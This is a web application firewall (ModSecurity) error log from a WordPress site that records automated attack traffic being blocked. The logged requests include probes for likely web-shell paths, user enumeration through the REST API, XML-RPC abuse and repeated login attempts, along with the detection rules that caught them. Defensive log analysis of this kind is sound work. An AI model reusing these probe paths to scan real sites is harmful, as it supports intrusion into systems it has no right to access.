[Sat Feb 28 01:04:42.591817 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43994] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aaHOqgP6I7SRqrhh7RrpLwAAAU8"]
[Sat Feb 28 01:04:43.003597 2026] [:error] [pid 15100:tid 15167] [client 20.220.196.236:43540] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admins.php"] [unique_id "aaHOq0OEbzcINan_ctK5sAAAAEc"]
[Sat Feb 28 01:04:43.417453 2026] [:error] [pid 15240:tid 15257] [client 20.220.196.236:43551] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admins.php"] [unique_id "aaHOqy1iKL_41Rk9A9NnnQAAAA8"]
[Sat Feb 28 01:04:43.831733 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43913] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admins.php"] [unique_id "aaHOqwP6I7SRqrhh7RrpNQAAAUo"]
[Sat Feb 28 01:04:44.242968 2026] [:error] [pid 15100:tid 15174] [client 20.220.196.236:43880] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admins.php"] [unique_id "aaHOrEOEbzcINan_ctK5uAAAAE4"]
[Sat Feb 28 01:04:44.653163 2026] [:error] [pid 38586:tid 38598] [client 20.220.196.236:43322] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaHOrL_i6nvKNhjFW7UwnAAAAQk"]
[Sat Feb 28 01:04:45.064774 2026] [:error] [pid 38620:tid 38623] [client 20.220.196.236:44010] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaHOrQP6I7SRqrhh7RrpPAAAAUE"]
[Sat Feb 28 01:04:45.477557 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43968] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaHOrQP6I7SRqrhh7RrpPgAAAUY"]
[Sat Feb 28 01:04:45.892988 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43865] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aaHOrQP6I7SRqrhh7RrpQwAAAUQ"]
[Sat Feb 28 01:04:46.306104 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43943] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaHOrgP6I7SRqrhh7RrpRwAAAUA"]
[Sat Feb 28 01:04:46.720143 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43921] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaHOrgP6I7SRqrhh7RrpTQAAAUk"]
[Sat Feb 28 01:04:47.133881 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43976] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaHOrwP6I7SRqrhh7RrpUwAAAUU"]
[Sat Feb 28 01:04:47.548131 2026] [:error] [pid 15240:tid 15253] [client 20.220.196.236:43920] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/main.php"] [unique_id "aaHOry1iKL_41Rk9A9NnowAAAAs"]
[Sat Feb 28 01:04:47.961598 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43917] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aaHOry1iKL_41Rk9A9NnpgAAAAg"]
[Sat Feb 28 01:04:48.371579 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43952] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aaHOsAP6I7SRqrhh7RrpXQAAAVA"]
[Sat Feb 28 01:04:48.781612 2026] [:error] [pid 15240:tid 15244] [client 20.220.196.236:43884] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aaHOsC1iKL_41Rk9A9NnqwAAAAI"]
[Sat Feb 28 01:04:49.195136 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43924] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aaHOsQP6I7SRqrhh7RrpZAAAAUU"]
[Sat Feb 28 01:04:49.609586 2026] [:error] [pid 38586:tid 38599] [client 20.220.196.236:43960] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOsb_i6nvKNhjFW7UwqgAAAQo"]
[Sat Feb 28 01:04:50.022290 2026] [:error] [pid 15100:tid 15171] [client 20.220.196.236:43533] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOskOEbzcINan_ctK5wQAAAEs"]
[Sat Feb 28 01:04:50.432360 2026] [:error] [pid 15100:tid 15167] [client 20.220.196.236:43957] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOskOEbzcINan_ctK5wgAAAEc"]
[Sat Feb 28 01:04:50.844198 2026] [:error] [pid 38586:tid 38607] [client 20.220.196.236:43848] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aaHOsr_i6nvKNhjFW7UwswAAARI"]
[Sat Feb 28 01:04:51.255776 2026] [:error] [pid 38586:tid 38596] [client 20.220.196.236:43845] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaHOs7_i6nvKNhjFW7UwtwAAAQc"]
[Sat Feb 28 01:04:51.668309 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43522] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaHOswP6I7SRqrhh7RrpdgAAAU0"]
[Sat Feb 28 01:04:52.080860 2026] [:error] [pid 38586:tid 38594] [client 20.220.196.236:44005] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaHOtL_i6nvKNhjFW7UwugAAAQU"]
[Sat Feb 28 01:04:52.490005 2026] [:error] [pid 38620:tid 38636] [client 20.220.196.236:43984] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aaHOtAP6I7SRqrhh7RrpggAAAU4"]
[Sat Feb 28 01:04:52.899402 2026] [:error] [pid 15098:tid 15117] [client 20.220.196.236:43480] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aaHOtMkFqny8dQQbmTkfLgAAAIs"]
[Sat Feb 28 01:04:53.311345 2026] [:error] [pid 38620:tid 38645] [client 20.220.196.236:43931] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aaHOtQP6I7SRqrhh7RrpjgAAAVc"]
[Sat Feb 28 01:04:53.722981 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43933] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aaHOtQP6I7SRqrhh7RrpkQAAAU0"]
[Sat Feb 28 01:04:54.137108 2026] [:error] [pid 38620:tid 38643] [client 20.220.196.236:43962] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aaHOtgP6I7SRqrhh7RrplAAAAVU"]
[Sat Feb 28 01:04:54.550547 2026] [:error] [pid 38620:tid 38624] [client 20.220.196.236:43999] [client 20.220.196.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaHOtgP6I7SRqrhh7RrpmQAAAUI"]
[Sat Feb 28 01:04:54.963118 2026] [:error] [pid 15098:tid 15120] [client 20.220.196.236:43852] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aaHOtskFqny8dQQbmTkfMgAAAI4"]
[Sat Feb 28 01:04:55.375973 2026] [:error] [pid 15240:tid 15249] [client 20.220.196.236:43267] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aaHOty1iKL_41Rk9A9NnrgAAAAc"]
[Sat Feb 28 01:04:55.787659 2026] [:error] [pid 15240:tid 15250] [client 20.220.196.236:43973] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jsond.php"] [unique_id "aaHOty1iKL_41Rk9A9NnsAAAAAg"]
[Sat Feb 28 01:04:56.199446 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:44012] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aaHOuAP6I7SRqrhh7RrpqQAAAUg"]
[Sat Feb 28 01:04:56.609144 2026] [:error] [pid 38586:tid 38606] [client 20.220.196.236:43836] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aaHOuL_i6nvKNhjFW7UwxQAAARE"]
[Sat Feb 28 01:04:57.023152 2026] [:error] [pid 38586:tid 38608] [client 20.220.196.236:43922] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aaHOub_i6nvKNhjFW7UwywAAARM"]
[Sat Feb 28 01:04:57.435686 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:44029] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aaHOuQP6I7SRqrhh7RrpsQAAAUg"]
[Sat Feb 28 01:14:05.402222 2026] [:error] [pid 38620:tid 38637] [client 34.9.205.85:57466] [client 34.9.205.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.205.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHQ3QP6I7SRqrhh7Rr3NgAAAU8"]
[Sat Feb 28 01:14:09.199492 2026] [:error] [pid 38620:tid 38623] [client 34.9.205.85:57466] [client 34.9.205.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaHQ4QP6I7SRqrhh7Rr3ZAAAAUE"]
[Sat Feb 28 01:14:10.959650 2026] [:error] [pid 38620:tid 38629] [client 34.9.205.85:57466] [client 34.9.205.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.205.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHQ4gP6I7SRqrhh7Rr3dwAAAUc"]
[Sat Feb 28 01:14:13.063259 2026] [:error] [pid 15100:tid 15176] [client 34.9.205.85:62101] [client 34.9.205.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.205.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHQ5UOEbzcINan_ctK90wAAAFA"]
[Sat Feb 28 01:14:15.053779 2026] [:error] [pid 15240:tid 15263] [client 34.9.205.85:62108] [client 34.9.205.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.9.205.85, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHQ5y1iKL_41Rk9A9NuJAAAABU"]
[Sat Feb 28 01:14:15.058233 2026] [:error] [pid 15240:tid 15263] [client 34.9.205.85:62108] [client 34.9.205.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 34.9.205.85 (+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHQ5y1iKL_41Rk9A9NuJAAAABU"]
[Sat Feb 28 01:18:29.680434 2026] [:error] [pid 38586:tid 38598] [client 136.115.190.29:64287] [client 136.115.190.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.190.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHR5b_i6nvKNhjFW7U-LwAAAQk"]
[Sat Feb 28 01:18:33.620494 2026] [:error] [pid 38586:tid 38606] [client 136.115.190.29:64287] [client 136.115.190.29] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaHR6b_i6nvKNhjFW7U-PAAAARE"]
[Sat Feb 28 01:18:35.648760 2026] [:error] [pid 38586:tid 38603] [client 136.115.190.29:64287] [client 136.115.190.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.190.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHR67_i6nvKNhjFW7U-QQAAAQ4"]
[Sat Feb 28 01:18:37.752121 2026] [:error] [pid 15100:tid 15170] [client 136.115.190.29:59690] [client 136.115.190.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.190.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHR7UOEbzcINan_ctK_8AAAAEo"]
[Sat Feb 28 01:18:37.756341 2026] [:error] [pid 15100:tid 15170] [client 136.115.190.29:59690] [client 136.115.190.29] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 136.115.190.29 (+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaHR7UOEbzcINan_ctK_8AAAAEo"]
[Sat Feb 28 01:49:49.878021 2026] [:error] [pid 38586:tid 38609] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZPb_i6nvKNhjFW7VZxwAAARQ"]
[Sat Feb 28 01:50:15.422315 2026] [:error] [pid 38586:tid 38590] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaHZV7_i6nvKNhjFW7VaZQAAAQE"]
[Sat Feb 28 01:50:17.333815 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZWb_i6nvKNhjFW7VabAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:20.099174 2026] [:error] [pid 38586:tid 38603] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZXL_i6nvKNhjFW7VaiAAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:21.394615 2026] [:error] [pid 38586:tid 38590] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZXb_i6nvKNhjFW7VakAAAAQE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:24.066626 2026] [:error] [pid 38586:tid 38608] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZYL_i6nvKNhjFW7VamgAAARM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:25.385749 2026] [:error] [pid 38586:tid 38592] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZYb_i6nvKNhjFW7VanQAAAQM"], referer: https://gigfragments.org/wp-login.php
